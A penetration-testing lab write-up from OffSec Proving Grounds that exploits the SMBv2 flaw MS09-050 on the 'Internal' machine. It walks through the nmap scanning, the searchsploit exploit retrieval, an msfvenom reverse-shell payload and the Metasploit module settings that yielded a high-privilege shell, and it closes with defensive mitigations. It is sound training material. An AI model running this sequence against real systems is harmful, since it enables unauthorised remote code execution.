OffSec Proving Grounds Practice - Internal Writeup

I was working through the Internal lab as part of my penetration testing practice. This writeup documents the steps I took, the reasoning behind them, and what I learned from researching and exploiting MS09-050.

The interesting part of this lab was not just running an exploit. It was the process of identifying a legacy SMB vulnerability, validating it through research, trying a manual exploit path, and then switching to Metasploit when the standalone exploit did not behave reliably.

Lab Setup

I started by setting the target IP as an environment variable:

export IP=192.168.218.40

This made it easier to reuse the target IP across different commands.

Initial Enumeration

I began with an Nmap scan using vulnerability detection scripts.

nmap -sV -sC --script vuln -oN nmap-vuln.txt $IP

The scan result highlighted a potential CVE-2009-3103 vulnerability related to SMBv2.

This immediately stood out because SMB vulnerabilities on legacy Windows systems can often lead to serious impact, especially when the Server service is exposed on TCP/445.

Researching MS09-050

I searched for the CVE and found Microsoft Security Bulletin MS09-050.

The bulletin describes vulnerabilities in Server Message Block Version 2 (SMBv2). Microsoft explains that the most severe vulnerability could allow remote code execution if an attacker sends a specially crafted SMB packet to an affected system running the Server service.

The affected software listed by Microsoft includes supported editions of:

• Windows Vista
• Windows Vista x64
• Windows Server 2008
• Windows Server 2008 x64
• Windows Server 2008 Itanium

The bulletin also mentions that the update fixes the issue by correctly validating SMBv2 packet fields, correcting SMB command value handling, and correcting how SMB parses specially crafted packets.

From a pentesting perspective, the key idea is:

If the target is running an affected SMBv2 implementation and has TCP/445 exposed, a specially crafted SMB packet may trigger memory corruption and potentially remote code execution.

This matched what I saw in the Nmap vulnerability scan, so I continued investigating available exploit options.

Reference:

https://learn.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-050

Searching for Public Exploits

I searched Exploit-DB for MS09-050 and found a Python exploit related to SMB code execution.

I then used searchsploit to fetch the exploit locally:

searchsploit MS09-050
searchsploit -m 40280.py

The exploit was originally written for Python 2, so I started reviewing and modifying it for Python 3 compatibility.

The high-level idea of the script was:

1. Build a specially crafted SMB packet
2. Append shellcode to the packet
3. Send the malformed SMB packet to the target on TCP/445
4. Trigger the injected payload through an authentication-related SMB/RPC event

This helped me understand the exploitation flow better, even though I did not end up using this exploit successfully.

Attempting the Standalone Exploit

I generated a Meterpreter reverse TCP payload with msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.208 LPORT=443 EXITFUNC=thread -f python

The plan was to replace the original shellcode in the Python exploit with my generated shellcode.

However, when I attempted to run the modified exploit, it kept returning errors similar to:

NT_STATUS_IO_TIMEOUT

At this point, I decided not to spend too much time forcing the standalone exploit path. The manual exploit review was still valuable because it helped me understand what the exploit was trying to do, but reliability matters during lab exploitation.

Since OSCP allows limited Metasploit usage, I decided this was a good opportunity to practise using Metasploit properly rather than blindly relying on it.

Exploitation with Metasploit

I started Metasploit:

msfconsole

Then I searched for MS09-050:

search MS09-050

I selected the SMBv2 negotiate function index exploit module:

use exploit/windows/smb/ms09_050_smb2_negotiate_func_index

Then I configured the target and callback settings:

set RHOSTS 192.168.218.40
set LHOST 192.168.45.208
run

After running the exploit, I received a session and dropped into a shell:

shell

The exploitation was successful, and I gained high privilege access on the target.

Understanding the Vulnerability

Based on Microsoft Security Bulletin MS09-050, the vulnerability exists in SMBv2 handling. SMB is the file sharing protocol commonly used by Windows systems, and SMBv2 is a newer version supported by Windows Vista, Windows Server 2008, Windows 7, and later systems.

The bulletin includes multiple SMBv2-related vulnerabilities, including:

• CVE-2009-2526 — SMBv2 Infinite Loop Vulnerability
• CVE-2009-2532 — SMBv2 Command Value Vulnerability
• CVE-2009-3103 — SMBv2 Negotiation Vulnerability

The vulnerability I focused on was CVE-2009-3103, which is commonly associated with MS09-050 SMBv2 negotiation exploitation.

At a high level, the attack works by sending a malformed SMBv2 packet to the target. If the target is vulnerable, improper parsing or validation of that packet can lead to memory corruption and remote code execution.

The standalone exploit I reviewed followed this general flow:

1. Connect to the target over TCP/445
2. Send a specially crafted SMBv2 negotiation packet
3. Include a stager and payload inside the crafted buffer
4. Trigger the payload through an SMB/RPC authentication event
5. Receive a reverse shell or Meterpreter session

The important lesson here is that the vulnerability is not related to weak credentials. Authentication is not the main issue. The weakness is in how the vulnerable SMBv2 implementation handles crafted network input.

Why I Switched to Metasploit

Initially, I wanted to use the standalone Exploit-DB Python script because I wanted to understand the exploit rather than only run a Metasploit module.

However, the standalone exploit was not reliable in my environment and kept returning timeout-related errors.

Instead of spending too much time debugging shellcode and legacy exploit compatibility, I switched to Metasploit for a few reasons:

• The vulnerability was already confirmed by enumeration.
• The manual exploit path gave me enough understanding of the exploit flow.
• Metasploit has a tested module for this vulnerability.
• OSCP allows limited Metasploit usage, so this was good practice.
• Reliability matters when validating exploitation in a lab.

This was a useful reminder that tools are not the problem. The important thing is understanding what the tool is doing and why it works.

Defensive Notes

From a defensive perspective, the main fixes and mitigations are clear:

• Apply the MS09-050 security update.
• Avoid exposing SMB services to untrusted networks.
• Block TCP/445 and TCP/139 at network boundaries where possible.
• Disable SMBv2 on affected legacy systems if patching is not immediately possible.
• Segment legacy Windows hosts from sensitive internal networks.
• Monitor for suspicious SMB negotiation traffic.

Microsoft also notes that firewall best practices can help reduce exposure from attacks originating outside the enterprise perimeter.

Key Takeaways

This lab was useful because it combined vulnerability identification, research, exploit analysis, and practical exploitation.

My main takeaways were:

1. Nmap vulnerability scripts are useful, but results should still be researched and validated.
2. Reading the vendor advisory helps understand the actual impact and affected systems.
3. Standalone public exploits may require modification and may not always be reliable.
4. Metasploit is useful when used intentionally, not blindly.
5. SMB vulnerabilities on legacy Windows systems can have severe impact when exposed.
6. Understanding the exploit flow is more important than only getting a shell.

Overall, this lab was a good example of how a real pentest workflow should look:

Enumerate → identify vulnerability → research → validate → attempt exploitation → understand impact → document clearly

For me, the biggest learning point was balancing manual understanding with practical tool usage. Even though I eventually used Metasploit, reviewing the Python exploit helped me understand how the vulnerability was being triggered at a higher level.